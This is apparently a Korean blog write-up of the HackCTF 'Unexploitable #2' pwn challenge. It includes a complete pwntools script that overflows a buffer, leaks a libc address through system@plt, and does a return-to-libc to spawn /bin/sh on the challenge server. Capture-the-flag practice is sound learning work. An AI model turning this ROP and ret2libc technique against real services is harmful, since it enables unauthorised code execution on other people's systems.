상세 컨텐츠

본문 제목

[HackCTF] Unexploitable #2

SYSTEM HACKING/HackCTF

by koharin 2020. 1. 19. 19:56

본문

728x90
반응형

Unexploitable #1에서 system 함수를 사용해서 leak한 방법을 그대로 사용하면 된다.

이번에는 fflush 함수가 없어서 아쉽게도 fflush 이용하는 방법은 안 된다.

 

# 보호기법 확인

 

 

# process

 

gadget 찾기 ::

 

 

 

libc 파일 ::

 

 

 

이전 문제와 똑같이 system@plt를 사용해서 libc leak을 하고,

system 함수와 "/bin/sh" 주소를 구해서 RTL을 진행한다.

 

main 함수 주소는 elf.symbols['main']으로 안 되서 그냥 주소 적었다.

 

 

 

# exploit code

 

#!/usr/bin/python
from pwn import *

#p = process("./Unexploitable_2")
p = remote("ctf.j0n9hyun.xyz", 3029)
elf = ELF("./Unexploitable_2")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
system_plt = elf.plt['system']
p1ret = 0x400773
fgets_got = elf.got['fgets']
main = 0x40068c
one_gadget_off = 0x45216

pay = 'A'*0x10 + 'B'*0x8
pay += p64(p1ret) + p64(fgets_got) + p64(system_plt)
pay += p64(main)

p.sendlineafter("\n", pay)

p.recvuntil("1: ")
fgets = u64(p.recv(6).ljust(8, '\00'))
#fgets = u64(p.recv(6) + "\x00\x00")
libcBase = fgets - libc.symbols['fgets']
system = libcBase + libc.symbols['system']
binsh = libcBase + list(libc.search("/bin/sh"))[0]
one_gadget = libcBase + one_gadget_off
log.info("fgets : "+hex(fgets))
log.info("libcBase : "+hex(libcBase))
log.info("system : "+hex(system))
log.info("binsh : "+hex(binsh))
log.info("one_gadget : "+hex(one_gadget))

pay = 'A'*0x10 + 'B'*0x8
pay += p64(p1ret) + p64(binsh) + p64(system)
#pay += p64(p1ret) + p64(one_gadget) + p64(system)

p.sendlineafter("\n", pay)

p.interactive()

 

 

# exploit

 

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] SysROP  (0) 2020.01.30
[HackCTF] Beginner Heap  (0) 2020.01.22
[HackCTF] Unexploitable #1  (0) 2020.01.19
[HackCTF] UAF  (0) 2020.01.19
[HackCTF] Random Key  (0) 2020.01.18

관련글 더보기